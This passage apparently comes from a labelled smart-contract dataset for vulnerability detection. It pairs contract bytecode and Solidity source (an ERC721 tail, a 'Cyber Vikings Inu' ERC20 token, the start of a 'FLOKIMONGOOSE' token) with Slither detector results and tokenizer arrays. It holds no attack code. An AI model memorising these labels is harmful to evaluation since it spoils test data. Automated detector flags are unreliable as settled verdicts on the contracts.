5260206004820152602960248201527f45524337323143726561746f723a20457874656e73696f6e20617070726f76616044820152686c206661696c75726560b81b606482015260840161085d565b61413e8383614167565b61414b6000848484613de8565b610ac85760405162461bcd60e51b815260040161085d90614e64565b6001600160a01b0382166141bd5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161085d565b6000818152600660205260409020546001600160a01b0316156142225760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161085d565b61422e60008383613a6f565b6001600160a01b038216600090815260076020526040812080546001929061425790849061507f565b909155505060008181526006602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546142c19061510d565b90600052602060002090601f0160209004810192826142e35760008555614329565b82601f106142fc5782800160ff19823516178555614329565b82800160010185558215614329579182015b8281111561432957823582559160200191906001019061430e565b5061105d92915061446c565b828054828255906000526020600020908101928215614329579160200282015b828111156143295781546001600160a01b0319166001600160a01b03843516178255602090920191600190910190614355565b828054828255906000526020600020908101928215614329579160200282018281111561432957823582559160200191906001019061430e565b8280546143ce9061510d565b90600052602060002090601f0160209004810192826143f05760008555614329565b82601f1061440957805160ff1916838001178555614329565b82800160010185558215614329579182015b8281111561432957825182559160200191906001019061441b565b5080546144429061510d565b6000825580601f10614452575050565b601f01602090049060005260206000209081019061086f91905b5b8082111561105d576000815560010161446d565b60008083601f840112614492578182fd5b5081356001600160401b038111156144a8578182fd5b6020830191508360208260051b8501011115610daa57600080fd5b60008083601f8401126144d4578182fd5b5081356001600160401b038111156144ea578182fd5b602083019150836020828501011115610daa57600080fd5b600060208284031215614513578081fd5b8135612598816151d5565b60008060408385031215614530578081fd5b823561453b816151d5565b9150602083013561454b816151d5565b809150509250929050565b60008060006060848603121561456a578081fd5b8335614575816151d5565b92506020840135614585816151d5565b929592945050506040919091013590565b600080600080608085870312156145ab578081fd5b84356145b6816151d5565b935060208501356145c6816151d5565b92506040850135915060608501356001600160401b038111156145e7578182fd5b8501601f810187136145f7578182fd5b803561460a61460582615058565b615028565b81815288602083850101111561461e578384fd5b81602084016020830137908101602001929092525092959194509250565b600080600080600060608688031215614653578081fd5b853561465e816151d5565b945060208601356001600160401b0380821115614679578283fd5b61468589838a01614481565b9096509450604088013591508082111561469d578283fd5b506146aa88828901614481565b969995985093965092949392505050565b6000806000604084860312156146cf578283fd5b83356146da816151d5565b925060208401356001600160401b038111156146f4578283fd5b61470086828701614481565b9497909650939450505050565b6000806040838503121561471f578182fd5b823561472a816151d5565b9150602083013561454b816151ea565b60008060006040848603121561474e578081fd5b8335614759816151d5565b925060208401356001600160401b03811115614773578182fd5b614700868287016144c3565b60008060008060608587031215614794578182fd5b843561479f816151d5565b935060208501356001600160401b038111156147b9578283fd5b6147c5878288016144c3565b90945092505060408501356147d9816151ea565b939692955090935050565b600080604083850312156147f6578182fd5b8235614801816151d5565b9150602083013561ffff8116811461454b578182fd5b60008060408385031215614829578182fd5b8235614834816151d5565b946020939093013593505050565b60008060008060408587031215614857578182fd5b84356001600160401b038082111561486d578384fd5b61487988838901614481565b90965094506020870135915080821115614891578384fd5b5061489e87828801614481565b95989497509550505050565b6000806000604084860312156148be578081fd5b83356001600160401b03808211156148d4578283fd5b818601915086601f8301126148e7578283fd5b81356020828211156148fb576148fb6151bf565b8160051b61490a828201615028565b8381528281019086840183880185018d1015614924578889fd5b8897505b85881015614946578035835260019790970196918401918401614928565b50985050508701359250508082111561495d578283fd5b5061470086828701614481565b60006020828403121561497b578081fd5b8135612598816151ea565b600060208284031215614997578081fd5b8151612598816151ea565b6000602082840312156149b3578081fd5b8135612598816151f8565b6000602082840312156149cf578081fd5b8151612598816151f8565b600080602083850312156149ec578182fd5b82356001600160401b03811115614a01578283fd5b614a0d858286016144c3565b90969095509350505050565b600080600060408486031215614a2d578081fd5b83356001600160401b03811115614a42578182fd5b614a4e868287016144c3565b9094509250506020840135614a62816151ea565b809150509250925092565b600060208284031215614a7e578081fd5b81516001600160401b03811115614a93578182fd5b8201601f81018413614aa3578182fd5b8051614ab161460582615058565b818152856020838501011115614ac5578384fd5b614ad68260208301602086016150e1565b95945050505050565b600060208284031215614af0578081fd5b5035919050565b600080600080600060608688031215614b0e578283fd5b8535945060208601356001600160401b0380821115614679578485fd5b600080600060408486031215614b3f578081fd5b8335925060208401356001600160401b03811115614773578182fd5b60008060408385031215614b6d578182fd5b50508035926020909101359150565b6000815180845260208085019450808401835b83811015614bb45781516001600160a01b031687529582019590820190600101614b8f565b509495945050505050565b6000815180845260208085019450808401835b83811015614bb457815187529582019590820190600101614bd2565b60008151808452614c068160208601602086016150e1565b601f01601f19169290920160200192915050565b8054600090600181811c9080831680614c3457607f831692505b6020808410821415614c5457634e487b7160e01b86526022600452602486fd5b818015614c685760018114614c7957614ca6565b60ff19861689528489019650614ca6565b60008881526020902060005b86811015614c9e5781548b820152908501908301614c85565b505084890196505b50505050505092915050565b60008251614cc48184602087016150e1565b9190910192915050565b6000614cda8285614c1a565b8351614cea8183602088016150e1565b01949350505050565b6000612b07614d028386614c1a565b84614c1a565b60006001600160a01b03808716835280861660208401525083604083015260806060830152613dde6080830184614bee565b6020808252825182820181905260009190848201906040850190845b81811015614d7b5783516001600160a01b031683529284019291840191600101614d56565b50909695505050505050565b6040808252810184905260008560608301825b87811015614dca578235614dad816151d5565b6001600160a01b0316825260209283019290910190600101614d9a565b5083810360208501528481526001600160fb1b03851115614de9578283fd5b8460051b9150818660208301370160200190815295945050505050565b6020815260006125986020830184614b7c565b604081526000614e2c6040830185614b7c565b8281036020840152614ad68185614bbf565b6020815260006125986020830184614bbf565b6020815260006125986020830184614bee565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252601c908201527f4d757374206265207265676973746572656420657874656e73696f6e00000000604082015260600190565b6020808252601190820152702737b732bc34b9ba32b73a103a37b5b2b760791b604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60208082526024908201527f41646d696e436f6e74726f6c3a204d757374206265206f776e6572206f7220616040820152633236b4b760e11b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6000808335601e19843603018112614ffa578283fd5b8301803591506001600160401b03821115615013578283fd5b602001915036819003821315610daa57600080fd5b604051601f8201601f191681016001600160401b0381118282101715615050576150506151bf565b604052919050565b60006001600160401b03821115615071576150716151bf565b50601f01601f191660200190565b6000821982111561509257615092615193565b500190565b6000826150a6576150a66151a9565b500490565b60008160001904831182151516156150c5576150c5615193565b500290565b6000828210156150dc576150dc615193565b500390565b60005b838110156150fc5781810151838201526020016150e4565b83811115610f915750506000910152565b600181811c9082168061512157607f821691505b6020821081141561384d57634e487b7160e01b600052602260045260246000fd5b600061ffff8083168181141561515a5761515a615193565b6001019392505050565b600060001982141561517857615178615193565b5060010190565b60008261518e5761518e6151a9565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461086f57600080fd5b801515811461086f57600080fd5b6001600160e01b03198116811461086f57600080fdfea2646970667358221220ff53c34256985061335ea10a869bc60c7d7b9b02d521df4be0d50cc284e238cc64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
2620,
2683,
2509,
2497,
19481,
2546,
24096,
2509,
11057,
2620,
2063,
2620,
2094,
19841,
2094,
28756,
29292,
2497,
2475,
2497,
2692,
2629,
2278,
2683,
19317,
2278,
2575,
2581,
2683,
2575,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
1013,
1030,
2516,
1024,
19544,
2213,
1013,
1013,
1013,
1030,
3166,
1024,
19726,
1012,
1060,
2100,
2480,
12324,
1000,
1030,
19726,
18037,
2480,
1013,
8543,
1011,
4563,
1011,
5024,
3012,
1013,
8311,
1013,
9413,
2278,
2581,
17465,
16748,
8844,
1012,
14017,
1000,
1025,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,526 | 0x9548ac4dee2c1df9a44d740c7d1fbb3f98641304 | /**
Cyber Vikings Inu ($CYVINU) - Community Token
Created by people for people
*/
pragma solidity ^0.5.0;
//
//----------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract CyberVikingsInu is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Cyber Vikings Inu";
symbol = "CYVINU";
decimals = 9;
_totalSupply = 100000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a7231582059ab483fc84d90d65dd1c3f167ea4d2603d5bb396cdb7cca01fe04de48b4a8c664736f6c63430005110032 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
27009,
2620,
6305,
2549,
26095,
2475,
2278,
2487,
20952,
2683,
2050,
22932,
2094,
2581,
12740,
2278,
2581,
2094,
2487,
26337,
2497,
2509,
2546,
2683,
20842,
23632,
14142,
2549,
1013,
1008,
1008,
16941,
13468,
1999,
2226,
1006,
1002,
22330,
6371,
2226,
1007,
1011,
2451,
19204,
2580,
2011,
2111,
2005,
2111,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1013,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
3206,
9413,
2278,
11387,
18447,
2121,
12172,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
2270,
3193,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,527 | 0x9548d5a875a02898d73d949321a8503233572de9 | /**
FLOKIMONG=FLOKI+MONGOOSE
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract FLOKIMONGOOSE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
